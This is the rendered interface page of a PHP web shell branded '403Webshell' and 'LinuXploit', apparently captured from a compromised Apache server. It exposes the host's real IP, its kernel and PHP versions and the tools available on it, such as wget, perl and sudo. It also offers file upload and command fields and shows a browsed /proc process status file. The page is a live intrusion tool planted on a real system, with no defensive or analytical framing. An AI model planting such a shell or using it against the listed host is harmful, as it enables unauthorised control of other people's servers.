403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/1155/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1155/status
Name:	rsyslogd
State:	S (sleeping)
Tgid:	1155
Pid:	1155
PPid:	1
TracerPid:	0
Uid:	101	101	101	101
Gid:	103	103	103	103
FDSize:	64
Groups:	
VmPeak:	  252188 kB
VmSize:	  251992 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    4932 kB
VmRSS:	    4932 kB
VmData:	  222020 kB
VmStk:	     136 kB
VmExe:	     344 kB
VmLib:	    2724 kB
VmPTE:	     104 kB
VmSwap:	       0 kB
Threads:	4
SigQ:	0/60765
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000001001206
SigCgt:	0000000180114c21
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	0000001fffffffff
Seccomp:	0
Cpus_allowed:	fff
Cpus_allowed_list:	0-11
Mems_allowed:	00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	18396
nonvoluntary_ctxt_switches:	1183

Youez - 2016 - github.com/yon3zu
LinuXploit